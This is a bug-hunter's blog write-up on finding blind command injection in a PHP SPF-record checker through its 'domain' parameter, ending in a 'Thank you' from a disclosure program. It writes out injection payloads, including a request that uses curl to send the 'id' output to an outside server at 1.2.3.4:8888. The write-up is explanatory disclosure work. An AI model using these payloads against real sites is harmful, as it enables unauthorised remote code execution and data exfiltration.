Hi dear readers. This story is about how to find command injection, which leads to RCE getting “Thank you” in return :).
I was hunting on one target I found via google dork. There was a functionality that was checking SPF records of the given domain. To clarify, a sender policy framework (SPF) record is a type of DNS TXT record that lists all the servers authorized to send emails from a particular domain. You can read more about it here. So I started Burp and examined the request responsible for checking the domain. This was the request :
GET /script.php?domain=mydomain.com
Simple as that. I thought what if the script runs external shell command such as host or dig with the given domain as the parameter. I tried some command injections payloads such as:
GET /script.php?domain=mydomain.com;id
GET /script.php?domain=mydomain.com id
But haven’t got the command output in the response just the PHP errors. After some more trials and errors, I decided to go for blind command injection. What if the command is actually executed in the backend, but no output is printed out. I checked that with curl command which connected with my own server. I added “a” parameter with $(id) value to the GET request. This way the output of the id command was sent with curl command as the value of parameter “a” to my server running at 1.2.3.4 on port 8888 So the final request was:
GET /script.php?domain=mydomain.com;curl%201.2.3.4:8888?a=$(id)
Yep, I used also google.com domain for testing as google is good for everything 🙂
Bingo! This is what I saw in the response:
This was blind command injection as the command output was not seen in the response. Lesson learned – even if the script returns errors and there is no command output in response it does not mean it is not being executed. So this bug leads us to RCE (remote command execution), so this is game over :). As this was VDP program that promised some token of appreciation for serious bugs (I think RCE is serious enough), all I got in return was a “Thank you” e-mail. However, knowledge is always priceless.
See you next bug 🙂